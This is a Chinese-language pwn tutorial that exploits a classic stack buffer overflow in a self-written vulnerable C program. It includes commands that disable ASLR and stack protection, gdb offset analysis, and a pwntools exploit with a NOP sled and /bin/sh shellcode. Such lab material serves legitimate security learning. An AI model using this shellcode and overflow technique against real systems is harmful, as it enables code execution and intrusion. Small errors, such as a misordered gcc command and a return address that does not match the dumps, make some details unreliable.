0x00 Some Links

https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
https://woo.49.gs/static/drops/binary-6521.html
https://woo.49.gs/static/drops/tips-6597.html

0x01 Tools

ubuntu(14.04 x86_64)
gdb
pwngdb
pwntools

0x02 Classic Stack Based Buffer Overflow

vulnerble code:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

Compilation Commands:

echo 0 > /proc/sys/kernel/randomize_va_space  //disable alsr
gcc -g -fno-stack-protector -z execstack -o -m32 vuln vuln.c

0x03 Start with the basics

在调试之前,有必要先了解一下函数调用过程中栈空间中的变化:

http://blog.csdn.net/wangyezi19930928/article/details/16921927

发生函数调用时,入栈的顺序为:

参数N
参数N-1
参数N-2
.....
参数3
参数2
参数1
函数返回地址
上一层调用函数的EBP/BP
局部变量1
局部变量2
....
局部变量N

由于我们是直接反编译的main函数并且在main函数中没有自己构造的调用函数,所以我们可以使用如下代码:

#include<stdio.h>
void test1();

void main(){
    char b[6]="abcdef";
    test1();
}

void test1(){
    char c[6]="ghijkl";
    printf("%s",c);
}

编译完成之后使用gdb查看其反汇编代码:

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804841d <+0>: push   ebp
   0x0804841e <+1>: mov    ebp,esp
   0x08048420 <+3>: and    esp,0xfffffff0
   0x08048423 <+6>: sub    esp,0x20
   0x08048426 <+9>: mov    DWORD PTR [esp+0x1a],0x64636261
   0x0804842e <+17>:   mov    WORD PTR [esp+0x1e],0x6665
   0x08048435 <+24>:   lea    eax,[esp+0x1a]
   0x08048439 <+28>:   mov    DWORD PTR [esp+0x4],eax
   0x0804843d <+32>:   mov    DWORD PTR [esp],0x8048510
   0x08048449 <+44>:   call   0x8048450 <test1>
   0x0804844e <+49>:   leave
   0x0804844f <+50>:   ret
End of assembler dump.

之后我们可以查看test1函数的反汇编代码:

pwndbg> disassemble test1
Dump of assembler code for function test1:
   0x08048450 <+0>: push   ebp
   0x08048451 <+1>: mov    ebp,esp
   0x08048453 <+3>: sub    esp,0x28
   0x08048456 <+6>: mov    DWORD PTR [ebp-0xe],0x6a696867
   0x0804845d <+13>:   mov    WORD PTR [ebp-0xa],0x6c6b
   0x08048463 <+19>:   lea    eax,[ebp-0xe]
   0x08048466 <+22>:   mov    DWORD PTR [esp+0x4],eax
   0x0804846a <+26>:   mov    DWORD PTR [esp],0x8048510
   0x08048471 <+33>:   call   0x80482f0 <printf@plt>
   0x08048476 <+38>:   leave
   0x08048477 <+39>:   ret
End of assembler dump.

分析

在main函数调用即执行call指令前有两个mov操作:

   0x08048439 <+28>:   mov    DWORD PTR [esp+0x4],eax
   0x0804843d <+32>:   mov    DWORD PTR [esp],0x8048510

由上述中汇编代码分析可知,这两块地址中储存值即为变量b中的值。

随后执行call操作。

call指令进行如下操作:

1、将当前eip中储存地址压入栈中。
2、eip中地址变更为新的地址。

直到执行call操作时栈中情形为:

        |   ...     |  高地址
        |- - - - - -|
        |   args    |
        |- - - - - -|
  esp-> | ReturnAdd |
        |- - - - - -|
        |   ...     |  低地址

接着讲执行test1函数中的反汇编代码:

首先

       0x08048450 <+0>: push   ebp

将ebp地址压栈。

栈中变化为:

        |   ...     |  高地址
        |- - - - - -|
        |   args    |
        |- - - - - -|
        | ReturnAdd |
        |- - - - - -|
  esp-> |   ebp     |
        |- - - - - -|
        |   ...     |  低地址

接着

       0x08048451 <+1>: mov    ebp,esp

即栈底指针移动至栈顶:

            |   ...     |  高地址
            |- - - - - -|
            |   args    |
            |- - - - - -|
            | ReturnAdd |
            |- - - - - -|
  ebp,esp-> |   ebp     |
            |- - - - - -|
            |   ...     |  低地址

随后分配变量内存:

       0x08048453 <+3>: sub    esp,0x28

栈中变化为:

            |   ...     |  高地址
            |- - - - - -|
            |   args    |
            |- - - - - -|
            | ReturnAdd |
            |- - - - - -|
       esp->|   ebp     |
            |- - - - - -|
       esp->|   args    |
            |- - - - - -|
            |   ...     |  低地址

接着就是一系列的赋值输出操作。

总结一下函数调用时栈中变化可用下图说明:

在函数调用完成时会执行:

   0x08048476 <+38>:   leave
   0x08048477 <+39>:   ret

即释放当前栈中局部变量,然后将RetrunADD中的值赋值给eip。

0x04 Exploit

我们已经大概知道函数调用时栈中的变化,查看利用代码:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

反汇编代码如下:

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804844d <+0>:  push   ebp
   0x0804844e <+1>:  mov    ebp,esp
   0x08048450 <+3>:  and    esp,0xfffffff0
   0x08048453 <+6>:     sub    esp,0x110
   0x08048459 <+12>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804845c <+15>:    add    eax,0x4
   0x0804845f <+18>:    mov    eax,DWORD PTR [eax]
   0x08048461 <+20>:    mov    DWORD PTR [esp+0x4],eax
   0x08048465 <+24>:    lea    eax,[esp+0x10]
   0x08048469 <+28>:    mov    DWORD PTR [esp],eax
   0x0804846c <+31>:    call   0x8048320 <strcpy@plt>
   0x08048471 <+36>:    lea    eax,[esp+0x10]
   0x08048475 <+40>:    mov    DWORD PTR [esp+0x4],eax
   0x08048479 <+44>:    mov    DWORD PTR [esp],0x8048520
   0x08048480 <+51>:    call   0x8048310 <printf@plt>
   0x08048485 <+56>:    mov    eax,0x0
   0x0804848a <+61>:    leave
   0x0804848b <+62>:    ret
End of assembler dump.

利用代码中给buf变量分配了256个字节的内存,随后执行strcpy操作。但是并没有验证strcpy中粘贴字节的长度,同时变量在栈中是从低地址往高地址储存的,所以我们可以输出足够的长度覆盖掉ReturnAdd的值,这样当执行ret指令时,eip中的值即是我们能够控制的,那么我们在eip中储存的内存中写上我们想让其执行的指令,即可执行任意代码。

如图:

故我们可以开始调试,首先我们测试输入300个A:

pwndbg> r `python -c 'print "A"*300'`
Starting program: /root/test/pwn1/vuln `python -c 'print "A"*300'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

查看可知RetrunAdd已经被覆盖。

随后我们可以利用gdb中的pattern_create生成一段pattern并输入,随后通过pattern_search查看ReturnAdd在第几位:

pwndbg> pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'

执行后:

*EIP  0x41332541 ('A%3A')

执行pattern_search

pwndbg> pattern_search 'A%3A'
Registers contain pattern buffer:
EBP+0 found at offset: 264
EIP+0 found at offset: 268

口算也可以得出:

256(sizeof(buf))+2*4(alignment space)+ebp(4)=268

知道这样后我们可以输入:

pwndbg> r `python -c 'print "A"*268 + "B"*4'`

得到:

通过图中esp地址查看内存:

pwndbg> x/100wx 0xffffd5e0-50
0xffffd5ae: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5be: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5ce: 0x41414141  0x41414141  0x41414141  0x42424141
0xffffd5de: 0x00004242  0xd6740000  0xd680ffff  0xaccaffff
0xffffd5ee: 0x0002f7fe  0xd6740000  0xd614ffff  0xa018ffff
0xffffd5fe: 0x822c0804  0xa0000804  0x0000f7fc  0x00000000
0xffffd60e: 0x00000000  0x3a980000  0x9e88f941  0x0000c01f
0xffffd61e: 0x00000000  0x00000000  0x00020000  0x83500000
0xffffd62e: 0x00000804  0x04c00000  0x7a09f7ff  0xd000f7e3
0xffffd63e: 0x0002f7ff  0x83500000  0x00000804  0x83710000
0xffffd64e: 0x844d0804  0x00020804  0xd6740000  0x8490ffff
0xffffd65e: 0x85000804  0xb1600804  0xd66cf7fe  0x001cffff
0xffffd66e: 0x00020000  0xd7ad0000  0xd7c2ffff  0x0000ffff
0xffffd67e: 0xd8d30000  0xd8e4ffff  0xd8f4ffff  0xd908ffff
0xffffd68e: 0xd928ffff  0xd93bffff  0xd945ffff  0xde66ffff
0xffffd69e: 0xde72ffff  0xded0ffff  0xdee4ffff  0xdef3ffff
0xffffd6ae: 0xdf07ffff  0xdf18ffff  0xdf21ffff  0xdf2cffff
0xffffd6be: 0xdf34ffff  0xdf46ffff  0xdf53ffff  0xdf85ffff
0xffffd6ce: 0xdfa5ffff  0xdfc1ffff  0x0000ffff  0x00200000
0xffffd6de: 0xbc800000  0x0021f7fd  0xb0000000  0x0010f7fd
0xffffd6ee: 0xfbff0000  0x00060fab  0x10000000  0x00110000
0xffffd6fe: 0x00640000  0x00030000  0x80340000  0x00040804
0xffffd70e: 0x00200000  0x00050000  0x00090000  0x00070000
0xffffd71e: 0xc0000000  0x0008f7fd  0x00000000  0x00090000
0xffffd72e: 0x83500000  0x000b0804  0x00000000  0x000c0000

可知,我们可以将ReturnAdd设置在0xffffd5ae并在后面写入shellcode执行,但是这里有个坑,在蒸米的文章中提到过:

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢

解决方法是开启core dump这个功能。

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

root@Server:~/test/pwn1# ulimit -c unlimited
root@Server:~/test/pwn1# sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
root@Server:~/test/pwn1# ./vuln `python -c 'print "A"*268+"B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
段错误 (核心已转储)
root@Server:~/test/pwn1# gdb vuln /tmp/core.1491447169
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Loaded 105 commands.  Type pwndbg [filter] for a list.
Reading symbols from vuln...done.

查看内存:

pwndbg> x/100wx 0xffffd620-50
0xffffd5ee: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5fe: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd60e: 0x41414141  0x41414141  0x41414141  0x42424141
0xffffd61e: 0x00004242  0xd6b40000  0xd6c0ffff  0xaccaffff
0xffffd62e: 0x0002f7fe  0xd6b40000  0xd654ffff  0xa018ffff
0xffffd63e: 0x822c0804  0xa0000804  0x0000f7fc  0x00000000
0xffffd64e: 0x00000000  0x41980000  0x6588eb8b  0x0000d2d2
0xffffd65e: 0x00000000  0x00000000  0x00020000  0x83500000
0xffffd66e: 0x00000804  0x04c00000  0x7a09f7ff  0xd000f7e3
0xffffd67e: 0x0002f7ff  0x83500000  0x00000804  0x83710000
0xffffd68e: 0x844d0804  0x00020804  0xd6b40000  0x8490ffff
0xffffd69e: 0x85000804  0xb1600804  0xd6acf7fe  0x001cffff
0xffffd6ae: 0x00020000  0xd7d10000  0xd7d8ffff  0x0000ffff
0xffffd6be: 0xd8e90000  0xd8fbffff  0xd90fffff  0xd91fffff
0xffffd6ce: 0xd93fffff  0xd952ffff  0xd95cffff  0xde7dffff
0xffffd6de: 0xde91ffff  0xdeefffff  0xdf03ffff  0xdf14ffff
0xffffd6ee: 0xdf1cffff  0xdf27ffff  0xdf39ffff  0xdf46ffff
0xffffd6fe: 0xdf78ffff  0xdf98ffff  0xdfb4ffff  0xdfd6ffff
0xffffd70e: 0xdfdfffff  0x0000ffff  0x00200000  0xbc800000
0xffffd71e: 0x0021f7fd  0xb0000000  0x0010f7fd  0xfbff0000
0xffffd72e: 0x00060fab  0x10000000  0x00110000  0x00640000
0xffffd73e: 0x00030000  0x80340000  0x00040804  0x00200000
0xffffd74e: 0x00050000  0x00090000  0x00070000  0xc0000000
0xffffd75e: 0x0008f7fd  0x00000000  0x00090000  0x83500000
0xffffd76e: 0x000b0804  0x00000000  0x000c0000  0x00000000

即可编写exp:

from pwn import *

ret = 0xffffd85c

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = (268-len(shellcode))*"\x90" + shellcode + p32(ret)
#print payload


p=process(['./vuln',payload])

p.interactive()

期中\x90是不会执行的指令,可直接略过。

0x05 Summarize

Pwn is funny!

不懂的还很多,需要学习的还很多。